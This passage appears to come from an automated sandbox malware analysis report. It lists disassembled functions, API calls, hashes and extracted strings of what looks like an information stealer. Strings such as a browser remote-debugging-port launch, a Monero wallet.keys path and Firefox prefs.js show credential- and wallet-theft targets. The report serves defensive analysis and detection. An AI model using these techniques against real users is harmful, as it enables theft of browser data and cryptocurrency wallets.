                                      • String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
                                      • API String ID: 3334442632-1869280968
                                      • Opcode ID: fd5db4aa1c29304f32dd500de1ddae9968e16ab5668c3da60b3e21997667f391
                                      • Instruction ID: e041927b122c59dee4611d251fead1e5c11747a209ffd3acf4f6b4c013e99172
                                      • Opcode Fuzzy Hash: fd5db4aa1c29304f32dd500de1ddae9968e16ab5668c3da60b3e21997667f391
                                      • Instruction Fuzzy Hash: A7520F726502089BCB58FBA0DD96EEF773EAF54340F40459CB50A660D1EF349A88CF66
                                      Function 00603B00 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON
                                      Download Yara Rule
                                      APIs
                                      • wsprintfA.USER32 ref: 00603B1C
                                      • FindFirstFileA.KERNEL32(?,?), ref: 00603B33
                                      • lstrcat.KERNEL32(?,?), ref: 00603B85
                                      • StrCmpCA.SHLWAPI(?,00610F58), ref: 00603B97
                                      • StrCmpCA.SHLWAPI(?,00610F5C), ref: 00603BAD
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 00603EB7
                                      • FindClose.KERNEL32(000000FF), ref: 00603ECC
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Find$File$CloseFirstNextlstrcatwsprintf
                                      • String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
                                      • API String ID: 1125553467-2524465048
                                      • Opcode ID: 3db8bcf147d320af82cf854229732c657f138d9c432ed91f3963e70acd8e784c
                                      • Instruction ID: e68a1361add25040a961d3cd395572f601b72d1b26fdcd64b7d09820f15fccf2
                                      • Opcode Fuzzy Hash: 3db8bcf147d320af82cf854229732c657f138d9c432ed91f3963e70acd8e784c
                                      • Instruction Fuzzy Hash: DEA14171A402189FDB24DFA4DC85FEA737DBF88301F044599B60E96281EB759B84CF61
                                      Function 00604B60 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • wsprintfA.USER32 ref: 00604B7C
                                      • FindFirstFileA.KERNEL32(?,?), ref: 00604B93
                                      • StrCmpCA.SHLWAPI(?,00610FC4), ref: 00604BC1
                                      • StrCmpCA.SHLWAPI(?,00610FC8), ref: 00604BD7
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 00604DCD
                                      • FindClose.KERNEL32(000000FF), ref: 00604DE2
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Find$File$CloseFirstNextwsprintf
                                      • String ID: %s\%s$%s\%s$%s\*
                                      • API String ID: 180737720-445461498
                                      • Opcode ID: 7d3a16b116bc862252c47c073f0f2282b9db206d87a46ea6bed5d6a37218b8dd
                                      • Instruction ID: d8d93d1a89eec06df4a66697597f5203d5ac581e4cfdb66e6828e813775a16cd
                                      • Opcode Fuzzy Hash: 7d3a16b116bc862252c47c073f0f2282b9db206d87a46ea6bed5d6a37218b8dd
                                      • Instruction Fuzzy Hash: 066148B1904219ABDB34EBA0DC49FEA737DBB48700F04859CF60A96181EF759B85CF91
                                      Function 006047C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006047D0
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 006047D7
                                      • wsprintfA.USER32 ref: 006047F6
                                      • FindFirstFileA.KERNEL32(?,?), ref: 0060480D
                                      • StrCmpCA.SHLWAPI(?,00610FAC), ref: 0060483B
                                      • StrCmpCA.SHLWAPI(?,00610FB0), ref: 00604851
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 006048DB
                                      • FindClose.KERNEL32(000000FF), ref: 006048F0
                                      • lstrcat.KERNEL32(?,00F4FCB0), ref: 00604915
                                      • lstrcat.KERNEL32(?,00F4E168), ref: 00604928
                                      • lstrlen.KERNEL32(?), ref: 00604935
                                      • lstrlen.KERNEL32(?), ref: 00604946
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
                                      • String ID: %s\%s$%s\*
                                      • API String ID: 671575355-2848263008
                                      • Opcode ID: 153dcb438154c6710c151c854e46f040304a82ae95b19c6741a2ad71fca3b5b4
                                      • Instruction ID: fe4dc1fc93091abb888677779c6c1e454df854a42f26c8b90373b3d8b8387f3c
                                      • Opcode Fuzzy Hash: 153dcb438154c6710c151c854e46f040304a82ae95b19c6741a2ad71fca3b5b4
                                      • Instruction Fuzzy Hash: 425173B15442089BDB64EB70DC89FEE737DBB58300F408598B64A96190EF74DB88CF91
                                      Function 006040F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • wsprintfA.USER32 ref: 00604113
                                      • FindFirstFileA.KERNEL32(?,?), ref: 0060412A
                                      • StrCmpCA.SHLWAPI(?,00610F94), ref: 00604158
                                      • StrCmpCA.SHLWAPI(?,00610F98), ref: 0060416E
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 006042BC
                                      • FindClose.KERNEL32(000000FF), ref: 006042D1
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Find$File$CloseFirstNextwsprintf
                                      • String ID: %s\%s
                                      • API String ID: 180737720-4073750446
                                      • Opcode ID: 0c1fd46e8c4b69c0806fbdf12b8d9dc693bfcbe7046ce3fa2b44d1ee58af88d7
                                      • Instruction ID: ae5027fb21f28286b9da960d4cf493bf8000013c20b686e570a9a243071fc2c4
                                      • Opcode Fuzzy Hash: 0c1fd46e8c4b69c0806fbdf12b8d9dc693bfcbe7046ce3fa2b44d1ee58af88d7
                                      • Instruction Fuzzy Hash: A65166B1544218ABCB28EBB0DC85EEA737DBB58300F4045DCB65A96090EF759BC9CF54
                                      Function 005FEE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • wsprintfA.USER32 ref: 005FEE3E
                                      • FindFirstFileA.KERNEL32(?,?), ref: 005FEE55
                                      • StrCmpCA.SHLWAPI(?,00611630), ref: 005FEEAB
                                      • StrCmpCA.SHLWAPI(?,00611634), ref: 005FEEC1
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 005FF3AE
                                      • FindClose.KERNEL32(000000FF), ref: 005FF3C3
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Find$File$CloseFirstNextwsprintf
                                      • String ID: %s\*.*
                                      • API String ID: 180737720-1013718255
                                      • Opcode ID: deab5107c44f0865a061a0501bffdf5d77640f77acc80f9a652a6b42caa932c9
                                      • Instruction ID: bb4ffc559e934a7e9818e618e396702051da3e7fdc14aaee2408ea23f3e83e19
                                      • Opcode Fuzzy Hash: deab5107c44f0865a061a0501bffdf5d77640f77acc80f9a652a6b42caa932c9
                                      • Instruction Fuzzy Hash: 5EE1F2729512189ADB58FBA0CCA2EEF733AAF54340F4045DDB50A620D2EF706B89CF55
                                      Function 00630098 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
                                      • API String ID: 0-1562099544
                                      • Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
                                      • Instruction ID: 14ed6e9a5df9f90b97bcd1bd75f4f55e38442a601406d0774317decb8fdf4313
                                      • Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
                                      • Instruction Fuzzy Hash: 8CE276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56
                                      Function 005FF7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006116B0,00610D97), ref: 005FF81E
                                      • StrCmpCA.SHLWAPI(?,006116B4), ref: 005FF86F
                                      • StrCmpCA.SHLWAPI(?,006116B8), ref: 005FF885
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 005FFBB1
                                      • FindClose.KERNEL32(000000FF), ref: 005FFBC3
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
                                      • String ID: prefs.js
                                      • API String ID: 3334442632-3783873740
                                      • Opcode ID: 22a60feb4f11dd6aa7b75d6f4d4c7f95f497fb41d9d8a7d750a315acdc2d3a86
                                      • Instruction ID: 1239117d19c137f9e83bd5c0e6b84a9cb13110d889514df680bc307c8e4638f8
                                      • Opcode Fuzzy Hash: 22a60feb4f11dd6aa7b75d6f4d4c7f95f497fb41d9d8a7d750a315acdc2d3a86
                                      • Instruction Fuzzy Hash: 0EB15171A402089BCB68FFA0DD96EEF777AAF54340F4085ACA50A561D1EF305B88CF95
                                      Function 005F1710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0061523C,?,?,?,006152E4,?,?,00000000,?,00000000), ref: 005F1963
                                      • StrCmpCA.SHLWAPI(?,0061538C), ref: 005F19B3
                                      • StrCmpCA.SHLWAPI(?,00615434), ref: 005F19C9
                                      • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005F1D80
                                      • DeleteFileA.KERNEL32(00000000), ref: 005F1E0A
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 005F1E60
                                      • FindClose.KERNEL32(000000FF), ref: 005F1E72
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
                                      • String ID: \*.*
                                      • API String ID: 1415058207-1173974218
                                      • Opcode ID: 78621effb803fc67ee07d56ebbde7d2096beccabe0a86cf5a8f9922f4cf504e4
                                      • Instruction ID: 0a9cdc9dddb4b1cf37704252a97bff48c5db632226e73c0d98e88e3c278e1735
                                      • Opcode Fuzzy Hash: 78621effb803fc67ee07d56ebbde7d2096beccabe0a86cf5a8f9922f4cf504e4
                                      • Instruction Fuzzy Hash: 9412CC729502189BCB59FBA0CCA6AFF737AAF54340F4045DDA10A620D1EF746B88CF65
                                      Function 005FDF10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00610C32), ref: 005FDF5E
                                      • StrCmpCA.SHLWAPI(?,006115C0), ref: 005FDFAE
                                      • StrCmpCA.SHLWAPI(?,006115C4), ref: 005FDFC4
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 005FE4E0
                                      • FindClose.KERNEL32(000000FF), ref: 005FE4F2
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
